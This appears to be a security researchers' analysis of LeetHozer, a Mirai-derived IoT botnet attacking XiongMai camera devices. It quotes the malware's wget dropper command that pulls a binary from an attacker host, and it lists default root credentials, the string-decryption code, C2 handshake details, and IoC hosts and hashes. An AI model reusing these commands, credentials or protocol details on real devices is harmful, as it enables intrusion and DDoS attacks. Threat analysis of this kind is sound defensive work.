Background
On March 26, 2020, we captured a suspicious sample11c1be44041a8e8ba05be9df336f9231. Although the samples have the word mirai in their names and most antivirus engines identified it as Mirai, its network traffic is totally new,which had got our attention.
The sample borrowed some of Mirai’s Reporter and Loader mechanism, but the encryption method and Bot program, as well as C2 communication protocol had been totally redesigned.
For regular Mirai and their variations, normally the changes are fairly minor, changing C2s or encryption keys, or integrate some new vulnerabilities, nothing dramatic.
But this one is different. Its encryption method is unique, and communication protocol is more rigorous. Also it is very likely a new branch from the Moobot group and is in active development. (the author released a third version while we work on this article, adding some new function and changing Tor C2 :vbrxmrhrjnnouvjf.onion:31337)
So we think we should blog it and decide to name it LeetHozer because of theH0z3r string(/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - > H0z3r;)
The targets devices currently observed are mainly XiongMai H.264 and H.265 devices.
Propagation
- In 2017, security researchers disclosed the vulnerability[2].
- 2020-02-04 POC was released on github[3]。[4].
- 2020-02-11 We saw a moobot variant we called
moobot_xorexploiting this vulnerability. - 2020-03-26
LeetHozerbegan to exploit the vulnerability.
LeetHozer takes advantage of the vulnerability through the target device’s TCP 9530 port to start the telnetd service, then login to the device with the default password to complete the infection process. The propagation process is shown in the figure:
The source IP currently exploiting the vulnerability is around 4.5k per day.
LeetHozer and moobot_xor used the same unique string /bin/busybox DNXXXFF in their 9530 exploit. We also observed that at times they used the exact same downloader, so we speculate that moobot_xor and LeetHozer probably belong to the same organization or individual.
The time periods and the downloader shared by the two families are as follows:
date=2020-03-26 08:11:46+08:00 md5=11c1be44041a8e8ba05be9df336f9231 family_name=LeetHozer url=http://185.172[.110.224/ab/i686 date=2020-03-26 08:11:39+08:00 md5=11c1be44041a8e8ba05be9df336f9231 family_name=LeetHozer url=http://185.172[.110.224/ab/i586 date=2020-03-26 08:11:39+08:00 md5=b7b2ae292bf182b0d91535770394ad93 family_name=moobot_xor url=http://185.172[.110.224/ab/arm The recent LeetHozer DDos targets we currently see
2020-04-07 37.49.226.171 31337 ddos tcpraw 45.83.128.252 ASN40676 Psychz_Networks 2020-04-07 37.49.226.171 31337 ddos udpplain 172.106.18.210 ASN40676 Psychz_Networks 2020-04-08 37.49.226.171 31337 ddos udpplain 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd 2020-04-11 w6gr2jqz3eag4ksi.onion 31337 ddos icmpecho 185.38.151.161 ASN25369 Hydra_Communications_Ltd 2020-04-13 37.49.226.171 31337 ddos icmpecho 73.99.44.254 ASN7922 Comcast_Cable_Communications,_LLC 2020-04-13 37.49.226.171 31337 ddos icmpecho 94.174.77.69 ASN5089 Virgin_Media_Limited 2020-04-13 37.49.226.171 31337 ddos udppplain 94.174.77.69 ASN5089 Virgin_Media_Limited 2020-04-16 37.49.226.171 31337 ddos icmpecho 117.27.239.28 ASN133774 Fuzhou 2020-04-16 37.49.226.171 31337 ddos icmpecho 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd 2020-04-16 37.49.226.171 31337 ddos icmpecho 52.47.76.48 ASN16509 Amazon.com,_Inc. 2020-04-16 37.49.226.171 31337 ddos tcpraw 117.27.239.28 ASN133774 Fuzhou 2020-04-16 37.49.226.171 31337 ddos tcpraw 162.248.93.234 ASN32374 Nuclearfallout_Enterprises,_Inc. 2020-04-16 37.49.226.171 31337 ddos udpplain 71.222.69.77 ASN209 CenturyLink_Communications,_LLC 2020-04-17 37.49.226.171 31337 ddos udpplain 117.27.239.28 ASN133774 Fuzhou 2020-04-18 37.49.226.171 31337 ddos tcpraw 76.164.193.89 ASN36114 Versaweb,_LLC 2020-04-18 37.49.226.171 31337 ddos udpplain 117.27.239.28 ASN133774 Fuzhou 2020-04-18 37.49.226.171 31337 ddos udpplain 66.150.188.101 ASN32374 Nuclearfallout_Enterprises,_Inc. 2020-04-19 37.49.226.171 31337 ddos tcpraw 117.27.239.28 ASN133774 Fuzhou 2020-04-19 37.49.226.171 31337 ddos udpplain 108.61.22.86 ASN20473 Choopa,_LLC 2020-04-19 37.49.226.171 31337 ddos udpplain 108.61.33.194 ASN20473 Choopa,_LLC 2020-04-19 37.49.226.171 31337 ddos udpplain 172.107.228.198 ASN40676 Psychz_Networks 2020-04-19 37.49.226.171 31337 ddos udpplain 192.99.226.11 ASN16276 OVH_SAS 2020-04-19 37.49.226.171 31337 ddos udpplain 209.58.147.245 ASN394380 Leaseweb_USA,_Inc. 2020-04-19 37.49.226.171 31337 ddos udpplain 24.46.209.115 ASN6128 Cablevision_Systems_Corp. 2020-04-19 37.49.226.171 31337 ddos udpplain 71.222.69.77 ASN209 CenturyLink_Communications,_LLC 2020-04-20 37.49.226.171 31337 ddos udpplain 139.28.218.180 ASN9009 M247_Ltd 2020-04-20 37.49.226.171 31337 ddos udpplain 74.91.122.90 ASN14586 Nuclearfallout_Enterprises,_Inc. 2020-04-23 37.49.226.171 31337 ddos icmpecho 162.244.55.107 ASN49544 i3D.net_B.V 2020-04-23 37.49.226.171 31337 ddos udpplain 162.244.55.107 ASN49544 i3D.net_B.V Reverse analysis
At present, there are three versions of LeetHozer samples (We are going to focus on V2 as V3 is in development now). The difference between V1 and V2 is mainly that V2 supports more DDos attack methods.
We are going to take a quick look at the sample’s behavior, DDos command format, network communication below.
MD5: 57212f7e253ecebd39ce5a8a6bd5d2df
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer: None
Library: uclibc
Version: V2
Sample behavior
The function of LeetHozer is relatively simple, when it runs on infected device, it operates the watchdog device,then write the pid to a file named .1, and prints out /bin/sh:./a.out:not found string to the console( to confuse the user?). After that, it starts to scan internet to find more devices with open port 9530, and try to use the vulnerability to open the telnetd service on more victim devices.
The sample also reports the infected device information to the reporter, and establishes communication with C2, waiting for instructions to launch DDos attack.
The sample uses a custom algorithm for encryptiton. The decryption algorithm is as follows:
xorkey="qE6MGAbI" def decode_str(ctxt): for i in range(0,len(xorkey)): plain="" size=len(ctxt) for idx in range(0, size): ch=ord(ctxt[idx]) ch ^=(ord(xorkey[i]) + idx ) plain += chr(ch) ctxt=plain return ctxt After decryption, the key information is as follows, including the watchdog devices, C2 to be operated by the Bot. The information will only be decrypted when it is needed by the bot.
| .1 | /dev/watchdog |
|---|---|
| /dev/misc/watchdog | /bin/sh: ./a.out: not found |
| w6gr2jqz3eag4ksi.onion |
The specific implementation of the Bot function is as follows:，
Set watchdog to prevent device restart
Bot singleton through PID file
Scan, exploitation and report information
mirai’s fast port scan technique has been borrowed, the scanned port is 9530
Use the vulnerability to enable the telnetd service and try to log in with the following credentials.
root:xc3511 root:xmhdipc root:klv123 root:123456 root:jvbzd root:hi3518 root:tsgoingonReport device information after successful login
Receive the C2 command and prepare for DDos attack. The attack commands supported by different versions are different.
version command V1 tcpraw v2 tcpraw;icmpecho;udpplain However, the data format of the attack command is the same, and its structure is
Header(6 bytes),Option1,Option2...，in which the structure of Option isType(2 bytes),Len(2 bytes),Subtype(2 bytes),Contents( Len bytes),Padding, the following takes an actual attack command as an example to explain the parsing process.00000000: 3E 00 3F 00 3A 00 01 00 08 00 04 00 75 64 70 70 >.?.:.......udpp 00000010: 6C 61 69 6E 00 00 00 00 01 00 0E 00 06 00 31 33 lain..........13 00000020: 39 2E 32 38 2E 32 31 38 2E 31 38 30 00 00 00 00 9.28.218.180.... 00000030: 02 00 01 00 0C 00 50 00 02 00 01 00 05 00 64 00 ......P.......d. ---------------------------------------------------------------------------- Header: 3E 00 3F 00 3A 00, ----Little endian 0x003E ---- xor key 0x003A ---- 0x3A xor 0x3E = 4 个Option Opt 1: 01 00 08 00 04 00, ----Little endian 0x0001 ----Type 1,Padding 4 bytes 0x0008 ----Content length,len("udpplain") = 8 0x0004 ----Subtype 4,Contents为attack vector Contents: udpplain Padding: 00 00 00 00 Opt 2: 01 00 0E 00 06 00, ----Little endian 0x0001 ----Type 1,Padding 4 bytes 0x000e ----Content length 0x0006 ----Subtype 6,Contents为attack target Contents: 139.28.218.180 Padding: 00 00 00 00 Opt 3: 02 00 01 00 0c 00, ----Little endian 0x0002 ----Type 2,No Padding 0x0001 ----Type 2 Ignore this field，Contents length is always 2 bytes 0x000c ----Subtype 0xc,Contents为target port Contents: 80 Opt 4: 02 00 01 00 05 00, ----Little endian 0x0002 ----Type 2,No Padding 0x0001 ----Type 2 Ignore this field，Contents length is always 2 bytes 0x0005 ----Subtype 0x05,Contents is attack duration Contents: 0x0064
Communication protocols
Two types of C2: Tor-C2 and IP-C2 has been used. The V2 version has both existed but the code branch where Tor-C2 is located will not be executed. It is likely the V2 version is not final yet.
Tor-C2，supported by V1，Not used in V2.
w6gr2jqz3eag4ksi.onion:31337IP-C2，supported by V2.
37.49.226.171:31337
Tor-C2 has a pre-process to establish a connection through Tor proxy. After the connection between Bot and C2 is established, it takes two rounds of interaction for the bot to successfully go online.
Establish a connection with C2 through Tor proxy
The hardcode proxy list:
45.82.176.194:9034 91.236.251.131:9712 18.177.13.247:443 62.109.8.218:8888 82.99.213.98:9191 35.225.55.174:9251 194.99.22.206:9050 45.147.199.142:8060 47.104.188.20:8999 54.149.179.115:9050 195.128.102.178:9050 185.176.25.66:9002 54.188.106.141:9080 193.47.35.56:10000 88.193.137.205:9050 134.209.84.21:9119 194.58.111.244:9050 192.99.161.66:9050 193.47.35.53:9090 167.179.74.97:9251 185.30.228.141:9050First round of interaction
The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way.
The meaning of some key fields
offset length content field meaning 0x00 2 bytes 0x8f49 source port 0x02 2 bytes 0x7a69 hardcode 0x04 4 bytes 0x00004818 hardcode 0x0e 2 bytes 0x0001 first round 0x14 4 bytes 0x0051cc checksum The calculation of checksum is as follows
step 1: calc the sum of the first 12 WORD (0x8f49+0x7a69+0x4818+0x0000+0x0000+0x0000 +0x0001+0x0000+0x0000+0x0000+0x000+0x0000) = 0x000151CB; step 2:(HWORD(sum) + LWORD(sum)) >> 16 (0x0001+0x51CB) >> 16 = 0; step 3:(HWORD(sum) + LWORD(sum)) && 0Xffff (0x0001+0x51cb) && 0xffff = 0x000051ccThe first 32 bytes of the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check the two valid flags. When the check passes, part of the data will be used for the second round of interaction.
offset length content field meaning 0x04 4 bytes 0x000070f1 valid flag1 0x08 4 bytes 0x00004819 valid flag2 Second round of interaction
The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way. Most of the data comes from the C2 return packets from the previous step.
offset length content field meaning 0x00 8 bytes 0x7a697a69,0x000070f1 C2 reply in the round 1 0x08 4 bytes 0x000070f2 hardcode 0x0e 2 bytes 0x0002 second round 0x14 4 bytes 0x00d665 checksum The 32 bytes before the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check two valid flags. When the check passes, the Bot’s online process is completed.
offset length content field meaning 0x04 4 bytes 0x00002775 valid flag1 0x08 4 bytes 0x000070f2 valid flag2
At this point, the identity verification between the Bot and C2 is completed, and the Bot starts to wait for the C2 to issue instructions. The first byte of the C2 reply packet specifies the type of instruction.
Instruction code:
0x00indicates heartbeat
Instruction code:
0x01indicates reporting Bot group information
Instruction code: Not
0x000x01indicates DDoS attack.
Contact us
Readers are always welcomed to reach us on twitter or email to netlab at 360 dot cn.
IoC list
C2
vbrxmrhrjnnouvjf.onion:31337 #v3 37.49.226.171:31337 #v2 w6gr2jqz3eag4ksi.onion:31337 #v1 MD5
027d7e1cda6824bc076d0a586ea139f5 05a485caf78eca390439b7c893c0354b 068083b9d0820f3ac9cec10d03705649 08e1b88305ad138a4509fb6b72ae3d31 0a56855a6d56efe409c2b7a4c6113bcf 0dee2c063085d0c5466137a3c32479f2 0eecbfd368f821901f9ba758e267557a 110ec534e1c60fc47f37739f03c1bb6a 1111c252ee54c4a6614498e66cefb4e7 11c1be44041a8e8ba05be9df336f9231 121960341ab64a7e7686373dedfbc058 128a53e447266e4d0e12adb7c0b43159 129f41468303728b029def8dbc910e35 177de1bf8f90cbcea50fd19c1e3e8cfe 17b5d683d7b177760c8a2ffd749650b0 1aba422e02f0fbff5189399e01e272d4 21e7898b4b585b825d120c3b0fed8b8a 242d0c9386f61c3ac9ddcdbcda724f3e 25588d12bdbb4e4b1d946f2d5c89abf3 273afac3320ddceb0e18671a3e878fa3 2f066945cee892cc857d477d97d42d7c 30c60cfb51896e5d06012ec6cf15c588 3525d090ab1ab1739507ae1777a70b95 37d9fd56ce685717f1180615f555754e 3d24b9cafda55909fbfde16a5222b4d8 3f88cbbcaa3e0b410dcdb18ddb68d4c2 4229c19e6e5c2dc8560fae9b35841957 45a30d656b4767bce0058f80b0895a95 4e22d0079c18043b6d9037fb842d94ee 58a13abe621acc532b1b6d26eb121c61 5ed891c31bc86689cb93488f5746404a 5fafdc3e3ed7c38a204234e0146e5663 5fec7347f2a9a2ae798505135a61c47f 60bb6bf05c3e7f6f13f2374511963f79 669e5f3513ebfa9c30766da294036d6e 6c883cf42d63a672815e38223d241662 6e7e638d27971e060aaee1b9ae43fe4a 76d0285f95fbee81cff81948d5a98db0 7b08a0569506174463c83f50f8d65a8f 84d39f46c4694e176d8734dd53a07c2c 86072e88f28ebf357443300656c0349a 88a39f5bb8e271f3d080a9aaa6c4a44a 8dc36df1617d9c2be576fa02a5c24803 8e7d774441229809c9cfa8d8705b5258 90a63857f31714ff2c285eb6ca9af3d1 919308996155d7a9ec2f7a25a64eb759 91fe795b69880972e30929632d359b52 9a63001fe8f2d2d642bc2c8310a429e0 9c95be6e1e9927cc0171fc344fcceb71 a42550641cc709168c145b5739fca769 a579d46a571e123a9d65dcfe21910c87 a76fdf5b2f817dc1f2e3c241d552b9ae aa469ab3eb6789104bda30c910f063f5 b0276d96976dd6b805a02141e78df927 b35733792393a08408773a141a94f668 b84fb91f818a2b221833cb6499e5d345 bd28cdf60b03fc302b0ed467b3ea7e43 c6e9c7e7b5370441b379fd0032af4a85 cc42951a01c07dc7034251fdcd08c778 cce2f84c925f30ba11afd817bdae9377 d9d2c7e131e2f19985fffe9a1f38bca1 db6b387ba0f1ab17785de63be55e7fb6 deb66817f026c50d6e78ace69db6f0e6 e8e249712b7ad0bb92ac5ebb1d0f3378 e9ee7ea21696c9e01257c7543d344487 eb210bc6a54c1faef3cc043d767a4c3b ecf26cb853f2d22b705334cd9acdd3c2 f4aa925fb0d0eda1bdd4b52eecd7d870 fdd05db406a03601b9548aa7a1d07bb6 Downloader
http://185[.172.110.224/ab/i586 http://185[.172.110.224/ab/i686 http://185[.172.110.224/uc/i686 http://185.225.19.57/aq/rxrg http://188[.214.30.178/arm6 http://188[.214.30.178/arm7 http://188[.214.30.178/bot.arm http://188[.214.30.178/bot.arm7 http://188[.214.30.178/bot.mips http://188[.214.30.178/bot.mpsl http://188[.214.30.178/bot.x86 http://188[.214.30.178/tn/arm http://188[.214.30.178/tn/arm7 http://188[.214.30.178/tn/mips http://188[.214.30.178/tn/mpsl http://190[.115.18.144/arm6 http://190[.115.18.144/arm7 http://190[.115.18.144/bot.arm http://190[.115.18.144/bot.arm7 http://190[.115.18.144/bot.mips http://190[.115.18.144/bot.mpsl http://190[.115.18.144/bot.x86 http://190[.115.18.144/tn/arm http://190[.115.18.144/tn/arm7 http://190[.115.18.144/tn/mips http://190[.115.18.144/tn/mpsl http://37[.49.226.171/bins/mirai.arm http://37[.49.226.171/bins/mirai.arm7 http://37[.49.226.171/bins/mirai.mpsl http://37[.49.226.171/bins/mirai.sh4 http://37[.49.226.171/bins/mirai.x86 http://37[.49.226.171/mirai.arm http://37[.49.226.171/mirai.arm7 http://37[.49.226.171/mirai.mpsl http://37[.49.226.171/mirai.sh4 http://37[.49.226.171/mirai.x86 http://64[.225.64.58/arm http://64[.225.64.58/arm5 http://64[.225.64.58/arm6 http://64[.225.64.58/arm7 http://64[.225.64.58/bot.arm http://64[.225.64.58/bot.arm7 http://64[.225.64.58/bot.mips http://64[.225.64.58/bot.mpsl http://64[.225.64.58/bot.x86 http://64[.225.64.58/i586 http://64[.225.64.58/i686 http://64[.225.64.58/m68k http://64[.225.64.58/mips http://64[.225.64.58/mpsl http://64[.225.64.58/sh4 http://64[.225.64.58/spc http://64[.225.64.58/x86 IP
185.172.110.224 Netherlands ASN206898 Server_Hosting_Pty_Ltd 185.225.19.57 Romania ASN39798 MivoCloud_SRL 37.49.226.171 Netherlands ASN208666 Estro_Web_Services_Private_Limited 64.225.64.58 Netherlands ASN14061 DigitalOcean,_LLC 188.214.30.178 Romania ASN51177 THC_Projects_SRL 190.115.18.144 Russian ASN262254 DANCOM_LTD